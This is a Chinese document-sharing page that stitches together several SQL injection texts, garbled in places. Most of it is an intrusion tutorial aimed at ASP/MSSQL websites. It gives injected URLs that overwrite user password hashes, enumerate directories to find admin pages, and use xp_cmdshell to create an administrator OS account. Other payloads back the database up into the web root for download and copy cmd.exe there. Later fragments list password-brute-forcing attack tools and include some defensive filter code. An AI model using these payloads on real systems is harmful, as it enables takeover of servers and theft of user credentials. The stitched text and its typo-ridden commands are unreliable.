其中flag为hackername表中的一个字段,pwd为用户名字段,此时如果123.asp运行异常,就能得到pass的值。所以你可以用同样的方法来猜解出表中的所有用户的密码。在这其中,难免会遇到猜解出的密码是经过加密后的密文这种情况,对于这种情况,当我们用工具猜解不出或根本不想猜解时,我们可以用以下方法解决!

假设该网站的用户密码都是经过MD5码加密的,你想把名为888这个用户的密码改为1,我们可以提交以下地址…

https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA;update hackerDB.dbo.hackername set pwd='000000000000000000' where username='888';--(假如1的MD5码为000000000000000000)当我们用完后,还可以用同样的方法改回原来的值。

假如不是用MD5码加密的呢?在那个网站注册个会员,在看看自己帐号的密码相应的密文,然后吧想改那个帐号后面的密文替换成自己的(别告诉我你不知道自己帐号的密码)。

怎么样?这一节的知识很难吧?不用担心,更不能心急!一定要稳扎稳打一步一个脚印才能学到真正的技术!当你把这一节的内容都嚼烂后,就可以进行下一步的学习了!

魔鬼五步走之第四步:五鬼追门(猜解后台登陆口)

引子:令地狱喜、怒、哀、乐五小鬼探其门庭,追其住处!

首先恭喜你顺利的走过了艰难的第三步!关于这第四步走,我认为还是比较简单的,操作方面与第三步差不多,绝对的重体力活,都得借用相关软件。在大家利用上面的方法得到管理员的帐号与密码后,应该意识到了,要这帐号与密码也没什么用呀,连管理员登陆页面都找不到!是呀,找不到连管理员登陆页面就无法进入网站内部,入侵也就无从谈起了!针对这一情况,我为大家安排了魔鬼五步走之第四步走——五鬼追门(猜解后台登陆口),希望大家喜欢!

针对不同的数据库,猜解的方法也不尽相同,下面我就针对这两种方法一一进行讲解。

一、针对ASP+ACCESS数据库

对于ASP+ACCESS数据库的后台猜解有两种方法,即用工具暴力破解与手工猜解(谢谢您的鸡蛋,哦!还有西红柿耶!嗨!那个拿砖头的,你的我就不要了,谢谢了!)。关于用工具暴力破解的方法我想不用教大家也会!这里我们着重讲解手工破解。

关于手工猜解,切记不要弄的太复杂!我们在这上面花的时间最多不要超过40分钟,因为如果你花了40分钟的时间还没猜解出来的话,在继续下去也没有多大的意义了,所以此时请出专业软件才是明智的选择。

第一步我们先凭经验猜它的默认路径,猜解方法就不说了,是人就会!关键是收集尽可能多的流行脚本程序,通过在自己机器上安装而得知其默认路径,收集这些默认路径并做好记录,到时它们可能会帮我们的大忙!

第二步我们来找一下后台文件夹位置,一般情况下我们可以提交类似于Http://localhost/admin/这样的地址,如果IE返回了403的禁止访问信息码,则可以判定有admin这个文件夹,如果IE返回了404的错误访问信息码,那么就说明不存在admin这个文件夹,这时我们可以猜解别的目录。

第三步我们可以尝试一下常用的后台名,例如:admin.asp、manager.asp等这些程序员习惯命名的文件。根据现在后台管理页面大多使用HTML框架结构这一现状,大家可以猜解left.asp、right.asp、main.asp 等常见的文件名。如果这几种方法行不通的话,就借助一些工具来帮我们完成任务吧。

二、针对ASP+MS SQL数据库

大家对上面ACCESS数据库的后台猜解方法有什么看法?我个人认为是浪费自己的运气,还不如攒足了运气买张彩票去呢……而针对SQL Server数据库就是纯技术猜解了。

xp_dirtree这个存储过程不知道大家听没听没听过,我们这里针对SQL Server数据库的猜解就是用了xp_dirtree这个存储过程中的两个深度隐含函数来完成的,怎么样?听起来不错吧!我下面就为大家讲解一下利用xp_dirtree存储过程中的两个深度隐含函数来完成猜解的全过程。

我们利用这两个深度隐含函数可以顺利的列出系统下的所有目录,不过想要达到这点,必须有一个前提条件!就是我们必须要先在数据库中建立一个表存储文件的名称才行!我们下面就以假设“Http://127.0.0.1/aaa.asp?username=love”是一个注入点为前提,来举例为大家说明。

1.建立xp_dirtree需要的表

提交地址:Http://127.0.0.1/aaa.asp?username=love';create table abcd(subdirectory nvarchar(256) null,depth tinyint null,[file] bit null);--

提交完成后,我们就建立了一个名为abcd的表,这个表的三个字段名分别为subdirectory、depth、file。因为username=love是字符型,所以我们构想如上SQL语句前要加“'”,然后还得加“--”注释行。

2.将D盘的目录写进表里

提交地址:Http://127.0.0.1/aaa.asp?username=love';insert lcx exex master..xp_dirtree 'd:\',1,1;--

3.利用工具nbsi得出表里得值

假如我们看到d:\bbs十分有可能就是网站的目录,那么我们就先提交语句删除建立的表abcd。

提交地址:Http://127.0.0.1/aaa.asp?username=love';drop table lcx;--

然后在重复第一、二、三步,稍有不同的就是要将第二步中提交的“'d:\'”改为“'d:\bbs'”即可。以此类推,最终得出后台的路径名与文件名。

通过以上的学习,大家应该有能力完全控制一些网站了,例如整站修改,删帖子,加广告等等,总之能做站长所能做的一切事情!但是一定要记住,千万不能在自己国家的网站上糊搞乱搞!作为一个真正的黑客,是绝对不会攻击与自己毫不相干的人的!如果你想告知站长他的网站有漏洞,请尽量采取一些低调的方式,如通过QQ或E-mail等方式。

切记:害人者,终害己!

魔鬼五步走之第五步:阎罗追命(入侵系统)

引子:二魄以毁,六神以分,事事皆好,成功在即!在此万事具备,只欠东风之时,由阎王亲身前往,取其性命!

当大家通过以上的学习后,是不是还觉得少点什么?对!最刺激,也是获得网络上最无上权利的方法——入侵系统!大家在本章可以了解到详细的入侵手法,让我们进行魔鬼五步走之最后一步:阎罗追命(入侵系统)吧!

就目前的入侵手法来看,最成功的莫过于利用网站管理的存储过程来入侵系统了,为了照顾初学者,我们先来了解一下什么是存储过程。

总的来说,存储过程就是人们存储在SQL Server中预先写好的SQL语句集合。

分类来说,存储过程总共可分为三类。

1.系统存储:系统存储是指系统提供的一种存储过程,这种存储过程在安装SQL Server时被创建的,名字以“SP_”开头。

2.用户定义:是指用户自己定义的存储过程,这种存储过程是SQL Server的使用者编写的存储过程。

3.扩展存储:扩展存储是指一种通过对动态链接库函数的调用来达到存储目的方式,而且它的动态链接库函数与一般动态链接库函数不尽相同!它们可以直接运行在SQL Server分配的内存地址中!针对这种

方法的特性,我们着重对扩展存储的运用方法进行讲解。

关于扩展存储中最有用的扩展存储过程莫过于xp_cmdshell了,理论上它可以执行系统的所有指令。假设我们获得的当前链接数据库帐号具有SA权限,且xp_cmdshell扩展存储过程能够正确执行,那么我们可以通过以下方法进行完全控制。

第一步:

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and user>0

123.asp运行异常,但可以得到当前链接数据库帐号(若显示dbo则代表此用户为SA权限)。

第二步:

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA and db_name()>0

123.asp运行异常,但可以得到当前链接数据库名。

第三步:

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA;exec master..xp_cmdshell "net user abc123 123456 /add"--(其中master是指SQL Server中的主数据库;语句中的分号表示SQL Server执行完分号前面的语句名并执行后面的语句;“--”号是注释的意思,表示后面仅为注释,系统并不执行。)

提交完成后即可添加系统操作帐户abc123,其密码为123456。

第四步:

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA;exec master..xp_cmdshell "net localgroup administrators abc123 /add"--

把我们刚才加的用户abc123添加到administrators组中,使其具有管理员权限。

第五步:

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA;backuup databaer to 数据库名disk='c:\inetpub\wwwroot\save.db'

提交完成后即可把数据库内容全部备份到WEB目录下,再用HTTP把此文件下在下来(得先知到虚拟目录)。

第六步:

提交地址:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA;exec master..xp_cmdshell "copy

c:\winnt\system32\cmd.exe c:\intepub\cmd.exe"

提交完成后即可成功制造一个UINCODE漏洞,通过此漏洞的利用方法,以便于我们对整个主机的控制。

当我们完成以上操作时,就可以顺利的入侵主机系统了,为了便于大家进行多原化入侵,下面我再简单的给出另外的几个比较有用的存储过程:

1.Sp_Msgetvresion

作用:返回SQL Server的版本号。

用法:exec master..Sp_Msgetvresion

2.xp_dirtree

作用:列出对应目录下的文件以及文件夹。

用法:exec master..xp_dirtree '想查看的文件夹路径' 例:https://www.360docs.net/doc/0817961985.html,/123.asp?p=AA;exec master..xp_dirtree 'c:\winnt'

3.xp_enumerrorlogs

作用:可以返回所有的错误日志和他们的更新日期。

用法:exec master..xp_enumerrorlogs

4.xp_fixeddrives

作用:可以列出所有硬盘分区各自的剩余空间。

用法:exec master..xp_fixeddrives

另外还有xp_regread、xp_regdeletekey、xp_regwrite等存储过程,它们的作用依次是读取、删除、写入注册表键值,详细的用法的家可以“百度”一下,我再这里就不在细讲了。如果大家能熟练的运用这些存储过程,相信入侵系统只有时间的问题!

到这里,有关于《SQL注入魔鬼五步走》的内容就完全讲完了,希望大家能真正的把入侵当作一门艺术来看待,相信大家看完本文后能对SQL注入的灵活性与多原性有一个全新的了解。总之,还是那句话,我所写的“魔鬼五步走”只是为大家提供一种“做题的公式”与“解题的思路”,并非是什么永远不变的定试!其实,SQL注入的真正灵魂所在还是在于…灵活?、…变通?!

sql注入漏洞测试指南

sql注入漏洞测试指南 一、s ql注入的定义 一般是指在存在SQL注入漏洞的web应用上,攻击者将恶意构造的SQL语句通过web应用的输入点注入到后端数据库中 执行,以达到恶意操作数据库数据的目的。 SQL注入是通过正常的web应用服务器端口进行的,表面上与正常的数据请求没什么区别,如果不对这类恶意构造的SQL 语句进行防御的话,数据库很可能会因为SQL注入漏洞的存在 导致数据库中的信息受到威胁,比如数据被删除,挂马,留后 门,甚至被进一步利用而拿到操作系统的管理员权限。 二、s ql注入攻击是如何发生的 无论是内网环境还是外网环境(互联网),B/S模式架构的web应用(以下指网站)都直接或者间接地受到各种类型的web 攻击。对于后端数据库来说,以SQL注入带来的危害最为普遍, 由于网站服务端语言自身的缺陷与程序员编写代码的安全意识 不足导致了攻击者可以将恶意SQL语句注入到正常的数据库操 作指令上,从而在数据库中被解析执行。 注入之前需要找到网站的各类与数据库形成交互的输入点。 通常的一个网站的输入点包括: 表单提交,主要是POST请求,也包括GET请求等;

URL参数提交,GET请求; Cookie参数提交; HTTP请求头部的一些可修改的值,比如Referer、User_Agent等,cookie也是存在于HTTP请求头中; 一些边缘的输入点,比如mp3文件的一些文件信息等; 其实只要服务端从客户端直接或间接获取到数据这一过程都是一次输入过程,无论直接或间接,输入的数据都应该默认认为是不安全的。 上面的各类输入点,只要任何一点存在过滤不严,过滤缺陷等问题,都有可能发生SQL注入攻击。很多时候SQL注入的过程都是由工具完成的,甚至包括大批量注入工具的使用。三、s ql注入举例 假设DB中存在如下数据: +----+---------+----------+ | id | uid | password | +----+---------+----------+ | 1 | test | abc | | 3 | user | abc | | 5 | user2| abc | | 6 | admin | abc | +----+---------+----------+

五大著名免费SQL注入漏洞扫描工具

大量的现代企业采用Web应用程序与其客户无缝地连接到一起,但由于不正确的编码,造成了许多安全问题。Web应用程序中的漏洞可使黑客获取对敏感信息(如个人数据、登录信息等)的直接访问。 Web应用程序准许访问者提交数据,并可通过互联网从数据库中检索数据。而数据库是多数Web应用程序的心脏。数据库维持着Web应用程序将特定内容交给访问者的数据,Web应用程序在将信息交给客户、供应商时,也从数据库取得数据。 SQL注入攻击是最为常见的Web应用程序攻击技术,它会试图绕过SQL命令。在用户输入没有“净化”时,如果执行这种输入便会表现出一种SQL注入漏洞。 检查SQL注入漏洞主要涉及到两方面,一是审计用户的Web应用程序,二是通过使用自动化的SQL注入扫描器执行审记的最佳方法。在此,笔者罗列了一些对Web应用程序开发人员和专业的安全审计人员有价值的SQL注入扫描程序。 一、SQLIer SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。通过这种方法,它可以生成一个UNION SELECT查询,进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号,这意味着它可适应多种网站。 SQLIer通过“true/false”SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,用户是无法从数据库查询数据的,只能查询一个可返回“true”、“false”值的语句。 据统计,一个八个字符的口令(包括十进制ASCII代码的任何字符)仅需要大约1分钟即可破解。 其使用语法如下,sqlier [选项] [URL] 。其选项如下: -c :[主机] 清除主机的漏洞利用信息 -s :[秒]在网页请求之间等待的秒数 -u:[用户名]从数据库中强力攻击的用户名,用逗号隔开。 -w:[选项]将[选项]交由wget 此外,此程序还支持猜测字段名,有如下几种选择: --table-names [表格名称]:可进行猜测的表格名称,用逗号隔开。 --user-fields[用户字段]:可进行猜测的用户名字段名称,用逗号隔开。 --pass-fields [口令字段]:可进行猜测的口令字段名称,用逗号隔开。 下面说一下其基本用法: 例如,假设在下面的URL中有一个SQL注入漏洞: https://www.360docs.net/doc/0817961985.html,/sqlihole.php?id=1 我们运行下面这个命令: sqlier -s 10 https://www.360docs.net/doc/0817961985.html,/sqlihole.php?id=1从数据库中得到足够的信息,以利用其口令,其中的数字“10”表示要在每次查询之间等待10秒钟。 如果表格、用户名字段、口令字段名猜测得正确,那么漏洞利用程序会把用户名交付查询,准备从数据库中强力攻击口令。 sqlier -s 10 https://www.360docs.net/doc/0817961985.html, -u BCable,administrator,root,user4 然而,如果内建的字段/表格名称没有猜中正确的字段名,用户就可以执行: sqlier -s 10 https://www.360docs.net/doc/0817961985.html, --table-names [table_names] --user-fields [user_fields] --pass-fields [pass_fields]

SQL注入检测

写在前面: 现在的网络,脚本入侵十分的流行,而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷。正是因为注入攻击的流行,使的市面上的注入工具层出不穷。比较出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等。这大大方便的小菜们掌握注入漏洞。可是,工具是死的,注入的手法却是活的,能否根据实际情况灵活地构造SQL注入语句,得到自己想要的信息,是高手与小菜的根本区别。只用工具,而不去管它的原理,是不可能得到提高的,当然,在遇到一些特殊情况的时候,那些只会用工具的小菜们也只能放弃了。所以学会手工注入自己构造SQL注入语句是一个黑客爱好者必上的一堂课。 恶补基础: 要想学会手工注入,有一个名词是不得不提的,那就是数据库系统。 1。简介 数据库系统分为数据库和数据库管理系统!数据库是存放数据的地方,数据库管理系统则是管理数据库的软件!数据库中数据的存储节构叫数据模型!有四种常见的数据模型,分别是层次模型、网状模型、关系模型和面向对象模型。其中关系数据模型是最主要的数据模型,ACCESS、MSSQL、ORACLE等都是关系模型数据库系统。其中以ACCESS、MSSQL数据库系统最为常见!这些都是理论的知识,希望大家理解。 2。基本概念 表:表是一个关系数据库的基本组成元素!它按行与列组合排列成相关信息。通常行称为记录,列称为域。每个域称为一个字段!每一条记录都由多个字段组成。每个字段的名字叫做字段名,每个字段的值叫估字段值。表中的每一行即每一条记录都拥有想同的结构。如图1。 图1中的这张表里有14行,即14条记录。有4列,即4个字段,4个字段的名字分别叫:job_id(下面对应的1、2、3等都是这个字段的值,后面三个字段的值举一反三!) 、job_ desc、 min_lvl、max_lvl。因为本文不是专讲数据库知识的,所以这里只讲一些最重要的概念,有兴趣的朋友可以自己去查看数据库的有关资料! 3。注入的条件 只有调用数据库的动态页面才有可有存在注入漏洞,动态页面包括asp php jsp cgi 等。本文只讲对ASP页面的注入。那什么是调用数据库的页面呢?比如这样的形势:asp?id= php?id= 这样的样子的都是调用数据库的页面。"?"后面加的id的名字叫变量,注意这个变量是可以随便换的,"="号后面的值名字叫参数!这个参数也是可以变的!大家的思路一定要灵活,要学会举一反三,不要太死板。 4。注入漏洞的原理分析:

SQL注入攻击实验报告

实验报告 (实验名称:SQL注入攻击)

一、实验目的 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Web攻击的防范。 二、实验环境 描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。 宿主机(客户机):操作系统为Windows 10,IP为192.168.18.11,在主机上安装虚拟化软件Vmware Player,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信,虚拟机(Web服务器):操作系统为Windows XP,IP为192.168.18.9, 本实验利用windows 的iis 服务搭建了一个有SQL 注入漏洞的网站“ASP 新闻发布系统”,以该网站为目标,对其实施SQL 注入攻击。 本实验所需工具如下: IIS 是Internet Information Server 的缩写,是微软提供的Internet 服务器软件,包括Web、等服务器,也是目前常用的服务器软件。版本不限。 “啊D”注入工具:对“MSSQL 显错模式”、“MSSQL 不显错模式”、“Access”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”等等于一身的注入工具包。 “ASP 新闻发布系统”Ok3w v4.6 源码。 三、实验内容 (一)配置实验环境, 首先选择网络适配器,安装环回适配器,在主机上安装Vmware Player,成功启动虚拟机。接着配置宿主机和虚拟机的IP,如图 要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge

如何防范SQL注入漏洞

如何防范SQL注入漏洞,下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通。 注意要对所有的request对象进行过滤:包括 request.cookie, request.Server Variables 等等容易被忽视的对象: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1<0 or s1>2147483647 then killn=0 else killn=clng(s1) end if end if end function function killc(byval s1) 过滤货币型参数 if not isnumeric(s1) then killc=0 else killc=formatnumber(s1,2,-1,0,0) end if end function function killw(byval s1) '过滤字符型参数 if len(s1)=0 then killw="" else killw=trim(replace(s1,"'","")) end if end function function killbad(byval s1) 过滤所有危险字符,包括跨站脚本 If len(s1) = 0 then killbad="" else killbad = trim(replace(replace(replace(replace (replace(replace(replace(replace(s1,Chr(10), "
"), Chr(34), """), ">", ">"), "<", "<"), "&", "&"), chr(39),"'"),chr(32)," "),chr(13),""))

921202-信息系统安全与对抗实践-9. sql注入漏洞(一)

信息系统安全与对抗实践 SQL 注入漏洞(一)

内容提要 ?SQL注入漏洞 -基本介绍 -基本原理 -攻击步骤 ?靶场搭建 -DVWA(综合型靶场) -Sqli-labs(SQL注入靶场) 2

3 ?SQL Injection ,即SQL 注入,是指攻击者通过注入恶意的SQL 命令,破坏SQL 查询语句的结构,从而达到执行恶意SQL 语句的目的。SQL 注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL 注入仍是现在最常见的Web 漏洞之一。 ?原理 select *from user where username =‘$username ’,红色部分内容为用户可控的内容,如果我们尝试输入一个单引号(‘)。Sql 语句就变成了select *from user where username =’’’,前面两个单引号组成了一对,后面空出一个单引号不符合语法规则,所以产生报错。此时我们已经修改了原本SQL 语句的结构。 输入$username 参数的地方也叫做注入点,注入点可能存在于GET 参数内、POST 参数内、HTTP 头字段内等。SQL 注入漏洞

SQL注入漏洞 ?原理 如果我们输入’ or ‘1’=‘1,那么sql语句就会变成select * from user where username = ‘’or ‘1’=‘1’,此时该语句就等同于select * from user 。 ?实战 -绕过登录 select * from username = ‘$username’ and password =‘$password’ -方法 ?使用注释 ?闭合单引号 4

SQL注入专题(防范+攻击)全手册

SQL注入专题(防范+攻击)全手册 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 1楼:SQL注入漏洞全接触--入门篇 2楼:SQL注入漏洞全接触--进阶篇 3楼:SQL注入漏洞全接触--高级篇 4楼:SQL Server应用程序中的高级SQL注入 5楼:编写通用的ASP防SQL注入攻击程序 6楼:利用instr()函数防止SQL注入攻击 7楼:SQL注入攻击的原理及其防范措施 8楼:跨站式SQL注入技巧 9楼:防范Sql注入式攻击 10楼:Dreamweaver中sql注入式攻击的防范 11楼:PHP与SQL注入攻击 12楼:SQL注入攻击零距离 13楼:SQL注入技术和跨站脚本攻击的检测 14楼:菜鸟入门级:SQL注入攻击 15楼:三步堵死SQL注入漏洞 16楼:SQL注入实战---利用“dbo”获得SQL管理权限和系统权限 17楼:两个防SQL注入过滤代码 18楼:蓝雨设计整站SQL注入漏洞 19楼:SQL注入渗透某网络安全公司的网站全过程 20楼:sql注入防御 21楼:终极防范SQL注入漏洞 22楼:SQL注入与ASP木马上传 23楼:如何在SQL注入时保护数据库 24楼:天晨设计整站SQL注入漏洞

web安全性测试sql注入高级篇

看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。 第一节、利用系统表注入SQLServer数据库 SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子: ①;exec master..xp_cmdshell “net user name password /add”-- 分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着: ②;exec master..xp_cmdshell “net localgroup name administrators /add”-- 将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。 ③;;and db_name()>0 前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。 ④;backup database 数据库名to disk=’c:\inetpub\wwwroot\1.db’;-- 这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\,但成功率不高。

Php中sql注入漏洞示例 sql注入漏洞修复

Php中sql注入漏洞示例sql注入漏洞修复 这篇文章主要介绍了php中sql注入漏洞示例,大家在开发中一定要注意 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往给骇客留下了可乘之机。轻则数据遭到泄露,重则服务器被拿下。 一、SQL注入的步骤 a) 寻找注入点(如:登录界面、留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话)。 下面,通过一个实例具体来演示下SQL注入 二、SQL注入实例详解(以上测试均假设服务器未开启magic_quote_gpc) 1) 前期准备工作 先来演示通过SQL注入漏洞,登入后台管理员界面 首先,创建一张试验用的数据表: 代码如下: CREATETABLE `users` ( `id`int(11) NOT NULL AUTO_INCREMENT, `username`varchar(64) NOT NULL, `password`varchar(64) NOT NULL, `email`varchar(64) NOT NULL, PRIMARYKEY (`id`),

UNIQUEKEY `username` (`username`) )ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; 添加一条记录用于测试: 代码如下: INSERTINTO users (username,password,email) VALUES('MarcoFly',md5('test'),'marcofly@https://www.360docs.net/doc/0817961985.html,'); 接下来,贴上登录界面的源代码: 代码如下: Sql注入演示 用户名: 密码: 当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在) 代码如下: $conn=@mysql_connect("localhost",'root','')or die("数据库连接失败!");; mysql_select_db("injection",$conn) or die("您要选择的数据库不存在"); $name=$_POST['username']; $pwd=$_POST['password']; $sql="select * from users where username='$name' andpassword='$pwd'"; $query=mysql_query($sql); $arr=mysql_fetch_array($query); if(is_array($arr)){ header("Location:manager.php"); }else{

Web应用SQL注入漏洞检测工具的设计与实现

龙源期刊网 https://www.360docs.net/doc/0817961985.html, Web应用SQL注入漏洞检测工具的设计与实现 作者:张鑫张婷段新东林玉香 来源:《信息安全与技术》2014年第08期 【摘要】由于Web应用系统的开发周期较短,同时开发人员安全编程意识不足,Web 应用程序会存在漏洞。因此,检测Web应用系统的安全性是安全领域的亟待解决的问题。SQL注入漏洞检测工具模拟黑客攻击的方式,采用网络爬虫技术建立需检测的URL库,依据SQL注入模板精心构造URL,并从根据浏览器返回信息,判定是否存在SQL注入点。可以提前意识到Web应用存在的漏洞,并及时修补,降低系统受攻击的风险,是有效的Web安全防护手段。 【关键词】 SQL注入;漏洞检测;Web安全 【中图分类号】 TP311 1 引言 采用B/S架构,并通过HTTP或HTTPS协议提供访问的应用服务统称为Web应用。目前,几乎所有政府、通信、证券、银行以及电子商务都支持在线交易和查询服务,包括个人账户、用户信息、交易记录等在内的用户的敏感信息,都通过Web应用系统存储在数据库中,一旦数据被盗取或篡改,都会造成巨大损失。为降低系统受攻击的风险,可利用Web应用安全漏洞扫描技术,可以实现在线的Web应用健康检查,提醒网站管理员进行修补,是效果好的Web安全防护手段。 2 Web 应用中常见漏洞攻击 Web 应用大多涉及服务器端的动态处理,同时,开发人员可能在开发过程中疏忽参数的输入检查,因此会出现各种Web 应用安全问题,会产生相关漏洞,例如文件包含漏洞,目录遍历漏洞,信息泄露漏洞和SQL 注入漏洞给攻击者留下可乘之机。 由于SQL 注入漏洞利用Web应用开放的端口,通常防火墙等设备无法检测到,所以其隐蔽性高,如果攻击者不留下痕迹,或者管理员没有查看数据库日志的习惯,基本不会发现。 根据美国国家漏洞数据库(NVD)的统计,SQL注入在针对Web应用攻击手段中名列榜首,是互联网危害最大的安全漏洞。SQL注入攻击的几个过程。

五大著名免费SQL注入漏洞扫描工具

五大著名免费SQL注入漏洞扫描工具 大量的现代企业采用Web应用程序与其客户无缝地连接到一起,但由于不正确的编码,造成了许多安全问题。Web应用程序中的漏洞可使黑客获取对敏感信息(如个人数据、登录信息等)的直接访问。 Web应用程序准许访问者提交数据,并可通过互联网从数据库中检索数据。而数据库是多数Web应用程序的心脏。数据库维持着Web应用程序将特定内容交给访问者的数据,Web应用程序在将信息交给客户、供应商时,也从数据库取得数据。 SQL注入攻击是最为常见的Web应用程序攻击技术,它会试图绕过SQL命令。在用户输入没有“净化”时,如果执行这种输入便会表现出一种SQL注入漏洞。 检查SQL注入漏洞主要涉及到两方面,一是审计用户的Web应用程序,二是通过使用自动化的SQL注入扫描器执行审记的最佳方法。在此,笔者罗列了一些对Web应用程序开发人员和专业的安全审计人员有价值的SQL注入扫描程序。 一、SQLIer SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL 注入漏洞,但它不要求用户的交互。通过这种方法,它可以生成一个UNION SELECT查询,进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号,这意味着它可适应多种网站。 SQLIer通过“true/false”SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,用户是无法从数据库查询数据的,只能查询一个可返回“true”、“false”值的语句。 据统计,一个八个字符的口令(包括十进制ASCII代码的任何字符)仅需要大约1分钟即可破解。 其使用语法如下,sqlier [选项] [URL] 其选项如下: -c :[主机] 清除主机的漏洞利用信息 -s :[秒]在网页请求之间等待的秒数 -u:[用户名]从数据库中强力攻击的用户名,用逗号隔开。 -w:[选项]将[选项]交由wget 此外,此程序还支持猜测字段名,有如下几种选择: --table-names [表格名称]:可进行猜测的表格名称,用逗号隔开。

利用SQL注入漏洞登录后台

利用SQL注入漏洞登录后台 题记:工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意。读这篇文章,我假设读者有过写SQL语句的经历,或者能看得懂SQL语句 早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的。 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞。但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的。 前些天,网上传得沸沸扬扬的“拖库”事件给我们敲响了安全警钟。 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往给骇客留下了可乘之机。轻则数据遭到泄露,重则服务器被拿下。 现在,很多网站开发人员知其然而不知其所以然,小弟也是,所以赶紧恶补下,总结如学习内容。希望对初学者能够起到抛砖引玉的作用。 一、SQL注入的步骤 a) 寻找注入点(如:登录界面、留言板等) b) 用户自己构造SQL语句(如:’ or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话)。 下面,我通过一个实例具体来演示下SQL注入 二、SQL注入实例详解(以上测试均假设服务器未开启magic_quote_gpc) 1) 前期准备工作 先来演示通过SQL注入漏洞,登入后台管理员界面

SQL注入攻击实验报告

实验报告 实验名称:SQL 注入攻击)

